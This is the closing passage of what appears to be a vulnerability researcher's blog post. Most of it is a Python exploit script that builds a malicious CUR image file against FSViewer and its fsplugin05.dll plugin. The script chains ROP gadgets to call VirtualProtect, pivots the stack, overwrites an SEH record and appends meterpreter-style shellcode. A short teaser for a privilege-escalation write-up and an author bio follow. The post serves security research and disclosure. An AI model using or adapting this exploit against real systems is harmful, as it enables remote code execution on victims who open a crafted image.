RETN ** [fsplugin05.dll] ** | {PAGE_EXECUTE_READ} ] return ''.join(struct.pack('<I', _) for _ in rop_gadgets) def create_rop_chain(): rop_gadgets = [ #[---INFO:gadgets_to_set_esi:---] 0x00405bd4, # POP EAX ; RETN [FSViewer.exe] 0x6adf4160, # ptr to &VirtualProtect() [IAT fsplugin05.dll] 0x008b3977, # MOV EAX,DWORD PTR DS:[EAX] ; RETN [FSViewer.exe] 0x0083f67a, # XCHG EAX,ESI ; RETN [FSViewer.exe] #[---INFO:gadgets_to_set_ebp:---] 0x005b35b8, # POP EBP ; RETN [FSViewer.exe] 0x00454521, # & jmp esp [FSViewer.exe] #[---INFO:gadgets_to_set_ebx:---] 0x00630472, # POP EBX ; RETN [FSViewer.exe] 0x00000201, # 0x00000201-> ebx #[---INFO:gadgets_to_set_edx:---] 0x004798db, # POP EDX ; RETN [FSViewer.exe] 0x00000040, # 0x00000040-> edx #[---INFO:gadgets_to_set_ecx:---] 0x004c7832, # POP ECX ; RETN [FSViewer.exe] 0x00991445, # &Writable location [FSViewer.exe] #[---INFO:gadgets_to_set_edi:---] 0x0040c3a8, # POP EDI ; RETN [FSViewer.exe] 0x0057660b, # RETN (ROP NOP) [FSViewer.exe] #[---INFO:gadgets_to_set_eax:---] 0x00404243, # POP EAX ; RETN [FSViewer.exe] 0x90909090, # nop #[---INFO:pushad:---] 0x6adc21bf, # PUSHAD # RETN [fsplugin05.dll] ] return ''.join(struct.pack('<I', _) for _ in rop_gadgets) # Cur image = 1597 bytes ################################################################################### cur_Signature = "\x00\x00\x02\x00\x02\x00" # | Reserved | Type | Image Count | cur_Entries = ( "\x30\x30\x00\x00\x01\x00\x02\x00\x30\x03\x00\x00\x26\x00\x00\x00" # 1st Entry "\x20\x20\x00\x00\x02\x00\x04\x00\xE8\x02\x00\x00\x56\x03\x00\x00" # 2nd Entry ) # 1st Image Info Header cur_1InfoHeader = "\x28\x00\x00\x00\x30\x00\x00\x00\x60\x00\x00\x00\x01\x00\x89\x30\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" # 1st ImageData # cur_1ImageData_orig = "\x00\x00\x00\x00\xFF\xFF\xFF\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x07\xC0\x00\x00\x00\x00\x00\x00\x08\x20\x00\x00\x00\x00\x00\x00\x08\x20\x00\x00\x00\x00\x00\x00\x10\x40\x00\x00\x00\x00\x00\x00\x10\x40\x00\x00\x00\x00\x00\x00\x20\x80\x00\x00\x00\x00\x00\x00\x20\x80\x00\x00\x00\x00\x00\x80\x41\x00\x1F\x80\x00\x00\x00\xC0\x41\x00\x3F\xC0\x00\x00\x00\xA0\x82\x00\x3F\xC0\x00\x00\x00\x90\x82\x00\x1F\x80\x00\x00\x00\x89\x04\x00\x00\x00\x00\x00\x00\x85\x04\x00\x1F\x80\x00\x00\x00\x82\x08\x00\x1F\x80\x00\x00\x00\x80\x0F\xFE\x1F\x80\x00\x00\x00\x80\x00\x04\x1F\x80\x00\x00\x00\x80\x00\x08\x0F\x80\x00\x00\x00\x80\x00\x10\x07\xC0\x00\x00\x00\x80\x00\x20\x03\xE0\x00\x00\x00\x80\x00\x47\xC1\xF0\x00\x00\x00\x80\x00\x87\xC1\xF8\x00\x00\x00\x80\x01\x07\xC1\xFC\x00\x00\x00\x80\x02\x07\xC1\xFC\x00\x00\x00\x80\x04\x07\xC1\xFC\x00\x00\x00\x80\x08\x07\xC1\xFC\x00\x00\x00\x80\x10\x07\xE3\xFC\x00\x00\x00\x80\x20\x03\xFF\xF8\x00\x00\x00\x80\x40\x01\xFF\xF0\x00\x00\x00\x80\x80\x00\xFF\xE0\x00\x00\x00\x81\x00\x00\x00\x00\x00\x00\x00\x82\x00\x00\x00\x00\x00\x00\x00\x84\x00\x00\x00\x00\x00\x00\x00\x88\x00\x00\x00\x00\x00\x00\x00\x90\x00\x00\x00\x00\x00\x00\x00\xA0\x00\x00\x00\x00\x00\x00\x00\xC0\x00\x00\x00\x00\x00\x00\x00\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xFF\xFF\xFF\xFF\xFF\xFF\x00\x00\xFF\xFF\xFF\xFF\xFF\xFF\x00\x00\xFF\xFF\xFF\xFF\xFF\xFF\x00\x00\xFF\xFF\xFF\xFF\xFF\xFF\x00\x00\xFF\xFF\xFF\xFF\xFF\xFF\x00\x00\xFF\xFF\xFF\xFF\xFF\xFF\x00\x00\xFF\xFF\xFF\xFF\xFF\xFF\x00\x00\xFF\xFF\xFF\xFF\xFF\xFF\x00\x00\xFF\xFF\xFF\xFF\xFF\xFF\x00\x00\xFF\xFF\xFF\xFF\xFF\xFF\x00\x00\xFF\xF8\x3F\xFF\xFF\xFF\x00\x00\xFF\xF0\x1F\xFF\xFF\xFF\x00\x00\xFF\xF0\x1F\xFF\xFF\xFF\x00\x00\xFF\xE0\x3F\xFF\xFF\xFF\x00\x00\xFF\xE0\x3F\xFF\xFF\xFF\x00\x00\xFF\xC0\x7F\xFF\xFF\xFF\x00\x00\xFF\xC0\x7F\xE0\x7F\xFF\x00\x00\x7F\x80\xFF\xC0\x3F\xFF\x00\x00\x3F\x80\xFF\x80\x1F\xFF\x00\x00\x1F\x01\xFF\x80\x1F\xFF\x00\x00\x0F\x01\xFF\xC0\x3F\xFF\x00\x00\x06\x03\xFF\xE0\x7F\xFF\x00\x00\x02\x03\xFF\xC0\x3F\xFF\x00\x00\x00\x07\xFF\xC0\x3F\xFF\x00\x00\x00\x00\x01\xC0\x3F\xFF\x00\x00\x00\x00\x03\xC0\x3F\xFF\x00\x00\x00\x00\x07\xE0\x3F\xFF\x00\x00\x00\x00\x0F\xF0\x1F\xFF\x00\x00\x00\x00\x10\x18\x0F\xFF\x00\x00\x00\x00\x30\x1C\x07\xFF\x00\x00\x00\x00\x70\x1C\x03\xFF\x00\x00\x00\x00\xF0\x1C\x01\xFF\x00\x00\x00\x01\xF0\x1C\x01\xFF\x00\x00\x00\x03\xF0\x1C\x01\xFF\x00\x00\x00\x07\xF0\x1C\x01\xFF\x00\x00\x00\x0F\xF0\x00\x01\xFF\x00\x00\x00\x1F\xF8\x00\x03\xFF\x00\x00\x00\x3F\xFC\x00\x07\xFF\x00\x00\x00\x7F\xFE\x00\x0F\xFF\x00\x00\x00\xFF\xFF\x00\x1F\xFF\x00\x00\x01\xFF\xFF\xFF\xFF\xFF\x00\x00\x03\xFF\xFF\xFF\xFF\xFF\x00\x00\x07\xFF\xFF\xFF\xFF\xFF\x00\x00\x0F\xFF\xFF\xFF\xFF\xFF\x00\x00\x1F\xFF\xFF\xFF\xFF\xFF\x00\x00\x3F\xFF\xFF\xFF\xFF\xFF\x00\x00\x7F\xFF\xFF\xFF\xFF\xFF\x00\x00\xFF\xFF\xFF\xFF\xFF\xFF\x00\x00" print("Generating 1st ImageData BLOB:") cur_1ImageData = "" cur_1ImageData += create_rop_nop() * ( (1560 - 1416 ) / 4 ) # 1560 stack pivot - 1416 where our cyclic pattern has been found print("- ROP NOP:\t\t{}".format(len(cur_1ImageData))) cur_1ImageData += create_rop_chain() print("- ROP Chain:\t\t{}".format(len(create_rop_chain()))) cur_1ImageData += "\x81\xC4\x44\xFD\xFF\xFF\x90\x90" # stack adjustment for meterpreter GetPC routine: add esp, -700 print("- Stack Adjustment:\t8") cur_1ImageData += shellcode print("- Shellcode:\t\t{}".format(len(shellcode))) cur_1ImageData += "A" * (image_data_pad - len(cur_1ImageData)) # 2nd Image Info Header cur_2InfoHeader = "\x28\x00\x00\x00\x20\x00\x00\x00\x40\x00\x00\x00\x01\x00\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" # 2nd ImageData (if this does not trigger the stack pivot it should be changed removing the beginning \x00 byte of cur_2ImageData2 and adding it back at the end of cur_2ImageData section) cur_2ImageData = "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x80\x00\x00\x00\x80\x80\x00\x80\x00\x00\x00\x80\x00\x80\x00\x80\x80\x00\x00\xC0\xC0\xC0\x00\x80\x80\x80\x00\x00\x00\xFF\x00\x00\xFF\x00\x00\x00\xFF\xFF\x00\xFF\x00\x00\x00\xFF\x00\xFF\x00\xFF\xFF\x00\x00\xFF\xFF\xFF\x00\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x1F\xFF\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\xF0\x00\xF1\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\xF0\x00\xF1\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x1F\x00\x0F\x11\x11\x11\x10\x00\x11\x11\x11\x11\x11\x11\x11\x11\x1F\x00\x0F\x11\x11\x11\x0F\xFF\x01\x11\x11\x11\x11\xF1\x11\x11\xF0\x00\xF1\x11\x11\x10\xFF\xFF\xF0\x11\x11\x11\x11\xFF\x11\x11\xF0\x00\xF1\x11\x11\x11\x0F\xFF\x01\x11\x11\x11\x11\xF0\xF1\x1F\x00\x0F\x11\x11\x11\x11\x10\x00\x11\x11\x11\x11\x11\xF0\x0F\x1F\x00\x0F\x11\x11\x11\x11\x0F\xFF\x01\x11\x11\x11\x11\xF0\x00\xF0\x00\xF1\x11\x11\x11\x11\x0F\xFF\x01\x11\x11\x11\x11\xF0\x00\x00\x00\xFF\xFF\xFF\xF1\x11\x0F\xFF\x01\x11\x11\x11\x11\xF0\x00\x00\x00\x00\x00\x0F\x11\x11\x10\xFF\xF0\x11\x11\x11\x11\xF0\x00\x00\x00\x00\x00\xF1\x00\x00\x01\x0F\xFF\x01\x11\x11\x11\xF0\x00\x00\x00\x00\x0F\x11\x0F\xFF\x01\x10\xFF\xF0\x11\x11\x11\xF0\x00\x00\x00\x00\xF1\x11\x0F\xFF\x01\x10\xFF\xFF\x01\x11\x11\xF0\x00\x00\x00\x0F\x11\x11\x0F\xFF\x01\x10\xFF\xFF\x01\x11\x11\xF0\x00\x00\x00\xF1\x11\x11\x0F\xFF\x01\x10\xFF\xFF\x01\x11\x11\xF0\x00\x00" # SEH record overwrite goes here cur_2ImageData2 = "\x00\xFF\xF0\x0F\xFF\xF0\x11\x11\x11\xF0\x00\x00\xF1\x11\x11\x11\x11\x0F\xFF\xFF\xFF\x01\x11\x11\x11\xF0\x00\x0F\x11\x11\x11\x11\x11\x10\x00\x00\x00\x11\x11\x11\x11\xF0\x00\xF1\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\xF0\x0F\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\xF0\xF1\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\xFF\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\xF1\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xE3\xFF\xFF\xFF\xC1\xFF\xFF\xFF\xC1\xFF\xFF\xFF\x83\xF8\xFF\xFF\x83\xF0\x7F\xDF\x07\xE0\x3F\xCF\x07\xF0\x7F\xC6\x0F\xF8\xFF\xC2\x0F\xF0\x7F\xC0\x1F\xF0\x7F\xC0\x00\x70\x7F\xC0\x00\xF8\x3F\xC0\x01\x04\x1F\xC0\x03\x06\x0F\xC0\x07\x06\x07\xC0\x0F\x06\x07\xC0\x1F\x06\x07\xC0\x3F\x80\x0F\xC0\x7F\xC0\x1F\xC0\xFF\xE0\x3F\xC1\xFF\xFF\xFF\xC3\xFF\xFF\xFF\xC7\xFF\xFF\xFF\xCF\xFF\xFF\xFF\xDF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF" ################################################################################### buf = "" buf += cur_Signature buf += cur_Entries buf += cur_1InfoHeader buf += cur_1ImageData buf += cur_2InfoHeader buf += cur_2ImageData # buf += struct.pack('<I',0x004023da) # SEH pop ecx ; pop ebp ; ret | startnull {PAGE_EXECUTE_READ} [FSViewer.exe] # 0x0019dc10 : Pointer into normal cyclic pattern at ESP+0x588 (+1416) : 0x0019dc48 : offset 1, length 775 buf += struct.pack('<I',0x6adad2ff) # stack pivot 1560 / 0x618 : ADD ESP,608 ; POP EBX ; POP ESI ; POP EDI ; POP EBP ; RETN ** [fsplugin05.dll] ** | {PAGE_EXECUTE_READ} buf += cur_2ImageData2 #buf += "B" * (buf_max_size - len(buf)) print("\nWriting CUR File:") print("--------------------------------------------------------") print("- Signature + ImageCount:\t{}".format(len(cur_Signature))) print("- Entries 2/2:\t\t\t{}".format(len(cur_Entries))) print("- 1st InfoHeader:\t\t{}".format(len(cur_1InfoHeader))) print("- 1st ImageData:\t\t{}".format(len(cur_1ImageData))) print("- 2nd InfoHeader:\t\t{}".format(len(cur_2InfoHeader))) print(" 2nd ImageData 1/2:\t{}".format(len(cur_2ImageData))) print(" SEH:\t\t\t4") print(" 2nd ImageData 2/2:\t{}".format(len(cur_2ImageData2))) print("- 2nd ImageData TOT:\t\t{}".format(len(cur_2ImageData)+4+len(cur_2ImageData2))) print("--------------------------------------------------------") print("[+] Writing total {} bytes on {}".format(len(buf), filename)) file = open(filename, "w"); file.write(buf); file.close();
Upcoming Article
In the next blog post, I’m going to reveal a series of bugs that, chained together (Arbitrary File Write to Local Privilege Escalation (LPE)/Elevation of Privileges (EoP)), led me to achieve Command Execution on a very popular application.
Resources & References:
Author:
Paolo Stagno (aka VoidSec) is a Vulnerability Researcher and Exploit Developer focused on Windows offensive application security (kernel and user-land). He enjoys understanding the digital world we live in, disassembling, reverse engineering and exploiting complex products and code.